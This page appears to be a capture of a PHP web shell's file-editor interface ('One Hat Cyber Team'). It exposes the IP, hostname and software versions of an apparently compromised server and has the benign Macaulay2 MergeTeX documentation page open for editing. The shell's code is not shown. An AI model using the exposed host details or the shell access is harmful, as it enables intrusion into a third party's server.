One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
MergeTeX
/
html
/
Edit File:
index.html
<!DOCTYPE html> <html lang="en"> <head> <title>MergeTeX -- Run Macaulay2 code inside a LaTeX file</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="Run Macaulay2 code inside a LaTeX file" href="index.html">MergeTeX</a> :: <a title="Run Macaulay2 code inside a LaTeX file" href="index.html">MergeTeX</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="___Te__X.html">next</a> | previous | <a href="___Te__X.html">forward</a> | backward | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>MergeTeX -- Run Macaulay2 code inside a LaTeX file</h1> <div> <h2>Description</h2> <div> <p>This packages parses a LaTeX file, looking for Macaulay2 code. The latter must follow the syntax of the LaTeX package "listings", namely, if must be enclosed in <span class="tt">\begin{lstlisting}[language=Macaulay2]...\end{lstlisting}</span>, or must be taken from an external M2 file via <span class="tt">\begin{lstinputlisting}[language=Macaulay2]{filename.m2}</span>; one can also insert inline code with <span class="tt">\lstinline[language=Macaulay2]!...!</span>, but it is not parsed. See the example file <span class="tt">ex.tex</span>.</p> <p>It then produces a new file where the output of the code has been inserted in place of the input. The LaTeX file should contain <span class="tt">\usepackage{listings}</span> and should include a definition of the Macaulay2 language; this can be found in the auxiliary file <span class="tt">lst-Macaulay2.tex</span>.</p> <p>It also replaces automatically commands of the form <span class="tt">\macoutput{n}</span> with the nth output of Macaulay2.</p> <p><span class="tt">mergeTeX</span> takes as input the TeX source as a string and returns the output as a string, whereas <span class="tt">mergeTeXFile</span> takes as arguments the names of the source LaTeX file and of the target LaTeX file (the two can be identical; <span class="tt">mergeTeXFile</span> acts idempotently).</p> </div> </div> <div> <div> <div> <h2>Author</h2> <ul> <li><a href="http://blogs.unimelb.edu.au/paul-zinn-justin/">Paul Zinn-Justin</a><span> <<a href="mailto:pzinn%40unimelb.edu.au">pzinn@unimelb.edu.au</a>></span></li> </ul> </div> <div> <h2>Version</h2> <p>This documentation describes version <b>0.6</b> of MergeTeX, released <b>April 15, 2022</b>.</p> </div> <div> <h2>Citation</h2> <p>If you have used this package in your research, please cite it as follows:</p> <table class="examples"> <tr> <td> <pre><code class="language-bib">@misc{MergeTeXSource, title = {{MergeTeX: Run \emph{Macaulay2} code inside a LaTeX file. Version~0.6}}, author = {Paul Zinn-Justin}, howpublished = {A \emph{Macaulay2} package available at \url{https://github.com/Macaulay2/M2/tree/stable/M2/Macaulay2/packages}} } </code></pre> </td> </tr> </table> </div> <div> <h2>Exports</h2> <div class="exports"> <ul> <li>Functions and commands <ul> <li><kbd>mergeTeX</kbd></li> <li><kbd>mergeTeXFile</kbd></li> </ul> </li> <li>Symbols <ul> <li><kbd>Path</kbd></li> <li><span><span class="tt">TeX</span> (missing documentation)<!--tag: TeX--> </span></li> </ul> </li> </ul> </div> </div> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="Run Macaulay2 code inside a LaTeX file" href="index.html">MergeTeX</a> is <span>a <a title="the class of all packages" href="../../Macaulay2Doc/html/___Package.html">package</a></span>, defined in <span class="tt">MergeTeX.m2</span>, with auxiliary files in <span class="tt">MergeTeX/</span>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">MergeTeX.m2:201:0</span>.</p> </div> </div> </div> </body> </html>
Simpan